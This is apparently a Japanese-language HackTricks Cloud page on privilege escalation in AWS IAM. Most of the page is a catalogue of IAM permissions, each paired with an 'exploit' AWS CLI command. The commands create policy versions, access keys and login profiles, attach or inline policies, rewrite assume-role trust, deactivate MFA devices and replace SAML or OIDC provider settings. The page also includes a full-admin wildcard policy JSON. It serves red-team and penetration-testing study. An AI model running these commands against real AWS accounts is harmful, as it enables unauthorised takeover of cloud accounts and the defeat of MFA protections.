AWS - IAM Privesc
Reading time: 11 minutes
tip
AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE)
Azureハッキングを学び、実践する:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksをサポートする
- サブスクリプションプランを確認してください!
- **💬 Discordグループまたはテレグラムグループに参加するか、Twitter 🐦 @hacktricks_liveをフォローしてください。
- HackTricksおよびHackTricks CloudのGitHubリポジトリにPRを提出してハッキングトリックを共有してください。
IAM
IAMに関する詳細情報は次を確認してください:
AWS - IAM, Identity Center & SSO Enum
iam:CreatePolicyVersion
新しいIAMポリシーバージョンを作成する能力を付与し、--set-as-default
フラグを使用することでiam:SetDefaultPolicyVersion
権限の必要性を回避します。これにより、カスタム権限を定義できます。
Exploit Command:
aws iam create-policy-version --policy-arn <target_policy_arn> \
--policy-document file:///path/to/administrator/policy.json --set-as-default
影響: すべてのリソースに対して任意のアクションを許可することにより、直接的に権限を昇格させます。
iam:SetDefaultPolicyVersion
IAMポリシーのデフォルトバージョンを別の既存のバージョンに変更することを許可し、新しいバージョンにより多くの権限がある場合、権限を昇格させる可能性があります。
Bashコマンド:
aws iam set-default-policy-version --policy-arn <target_policy_arn> --version-id v2
影響: より多くの権限を有効にすることによる間接的な特権昇格。
iam:CreateAccessKey
他のユーザーのためにアクセスキーIDとシークレットアクセスキーを作成することを可能にし、特権昇格の可能性を引き起こします。
悪用:
aws iam create-access-key --user-name <target_user>
影響: 他のユーザーの拡張権限を引き受けることによる直接的な権限昇格。
iam:CreateLoginProfile
| iam:UpdateLoginProfile
AWSコンソールログインのためのパスワード設定を含むログインプロファイルの作成または更新を許可し、直接的な権限昇格につながる。
作成のためのエクスプロイト:
aws iam create-login-profile --user-name target_user --no-password-reset-required \
--password '<password>'
アップデートのためのエクスプロイト:
aws iam update-login-profile --user-name target_user --no-password-reset-required \
--password '<password>'
影響: "任意"のユーザーとしてログインすることによる直接的な権限昇格。
iam:UpdateAccessKey
無効なアクセスキーを有効にすることを許可し、攻撃者が無効なキーを持っている場合、無許可のアクセスにつながる可能性があります。
悪用:
aws iam update-access-key --access-key-id <ACCESS_KEY_ID> --status Active --user-name <username>
影響: アクセスキーを再活性化することによる直接的な権限昇格。
iam:CreateServiceSpecificCredential
| iam:ResetServiceSpecificCredential
特定のAWSサービス(例:CodeCommit、Amazon Keyspaces)のための資格情報を生成またはリセットすることを可能にし、関連するユーザーの権限を継承します。
作成のためのエクスプロイト:
aws iam create-service-specific-credential --user-name <username> --service-name <service>
リセットのためのエクスプロイト:
aws iam reset-service-specific-credential --service-specific-credential-id <credential_id>
影響: ユーザーのサービス権限内での直接的な特権昇格。
iam:AttachUserPolicy
|| iam:AttachGroupPolicy
ユーザーまたはグループにポリシーを添付することを許可し、添付されたポリシーの権限を継承することによって特権を直接昇格させます。
ユーザーのためのエクスプロイト:
aws iam attach-user-policy --user-name <username> --policy-arn "<policy_arn>"
グループのエクスプロイト:
aws iam attach-group-policy --group-name <group_name> --policy-arn "<policy_arn>"
影響: ポリシーが付与するすべてへの直接的な権限昇格。
iam:AttachRolePolicy
, ( sts:AssumeRole
|iam:createrole
) | iam:PutUserPolicy
| iam:PutGroupPolicy
| iam:PutRolePolicy
ロール、ユーザー、またはグループにポリシーを添付または設定することを許可し、追加の権限を付与することによって直接的な権限昇格を可能にします。
ロールのためのエクスプロイト:
aws iam attach-role-policy --role-name <role_name> --policy-arn "<policy_arn>"
インラインポリシーのエクスプロイト:
aws iam put-user-policy --user-name <username> --policy-name "<policy_name>" \
--policy-document "file:///path/to/policy.json"
aws iam put-group-policy --group-name <group_name> --policy-name "<policy_name>" \
--policy-document file:///path/to/policy.json
aws iam put-role-policy --role-name <role_name> --policy-name "<policy_name>" \
--policy-document file:///path/to/policy.json
ポリシーを次のように使用できます:
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Action": ["*"],
"Resource": ["*"]
}
]
}
影響: ポリシーを通じて権限を追加することによる直接的な権限昇格。
iam:AddUserToGroup
自分自身をIAMグループに追加することを可能にし、グループの権限を継承することで権限を昇格させます。
悪用:
aws iam add-user-to-group --group-name <group_name> --user-name <username>
影響: グループの権限レベルへの直接的な権限昇格。
iam:UpdateAssumeRolePolicy
ロールのアサムポリシー文書を変更することを許可し、ロールとその関連する権限の引き受けを可能にします。
悪用:
aws iam update-assume-role-policy --role-name <role_name> \
--policy-document file:///path/to/assume/role/policy.json
ポリシーが以下のようになっている場合、ユーザーにロールを引き受ける権限が与えられます:
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Action": "sts:AssumeRole",
"Principal": {
"AWS": "$USER_ARN"
}
}
]
}
影響: 任意のロールの権限を引き受けることによる直接的な特権昇格。
iam:UploadSSHPublicKey
|| iam:DeactivateMFADevice
CodeCommitへの認証のためにSSH公開鍵をアップロードし、MFAデバイスを無効にすることを許可し、潜在的な間接的特権昇格につながる。
SSHキーアップロードのためのエクスプロイト:
aws iam upload-ssh-public-key --user-name <username> --ssh-public-key-body <key_body>
MFA無効化のためのエクスプロイト:
aws iam deactivate-mfa-device --user-name <username> --serial-number <serial_number>
影響: CodeCommit アクセスを有効にするか、MFA 保護を無効にすることによる間接的な特権昇格。
iam:ResyncMFADevice
MFA デバイスの再同期を許可し、MFA 保護を操作することによって間接的な特権昇格につながる可能性があります。
Bash コマンド:
aws iam resync-mfa-device --user-name <username> --serial-number <serial_number> \
--authentication-code1 <code1> --authentication-code2 <code2>
影響: MFAデバイスを追加または操作することによる間接的な権限昇格。
iam:UpdateSAMLProvider
, iam:ListSAMLProviders
, (iam:GetSAMLProvider
)
これらの権限を持つことで、SAML接続のXMLメタデータを変更することができます。その後、SAMLフェデレーションを悪用して、信頼している任意のロールでログインすることができます。
これを行うと、正当なユーザーはログインできなくなることに注意してください。しかし、XMLを取得できるので、自分のものを入れてログインし、以前の設定を戻すことができます。
# List SAMLs
aws iam list-saml-providers
# Optional: Get SAML provider XML
aws iam get-saml-provider --saml-provider-arn <ARN>
# Update SAML provider
aws iam update-saml-provider --saml-metadata-document <value> --saml-provider-arn <arn>
## Login impersonating roles that trust the SAML provider
# Optional: Set the previous XML back
aws iam update-saml-provider --saml-metadata-document <previous-xml> --saml-provider-arn <arn>
note
TODO: 指定されたロールでログインし、SAMLメタデータを生成できるツール
iam:UpdateOpenIDConnectProviderThumbprint
, iam:ListOpenIDConnectProviders
, (iam:
GetOpenIDConnectProvider
)
(これについては不明)攻撃者がこれらの権限を持っている場合、プロバイダーを信頼するすべてのロールにログインするために新しいサムプリントを追加することができる。
# List providers
aws iam list-open-id-connect-providers
# Optional: Get Thumbprints used to not delete them
aws iam get-open-id-connect-provider --open-id-connect-provider-arn <ARN>
# Update Thumbprints (The thumbprint is always a 40-character string)
aws iam update-open-id-connect-provider-thumbprint --open-id-connect-provider-arn <ARN> --thumbprint-list 359755EXAMPLEabc3060bce3EXAMPLEec4542a3
参考文献
tip
AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE)
Azureハッキングを学び、実践する:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksをサポートする
- サブスクリプションプランを確認してください!
- **💬 Discordグループまたはテレグラムグループに参加するか、Twitter 🐦 @hacktricks_liveをフォローしてください。
- HackTricksおよびHackTricks CloudのGitHubリポジトリにPRを提出してハッキングトリックを共有してください。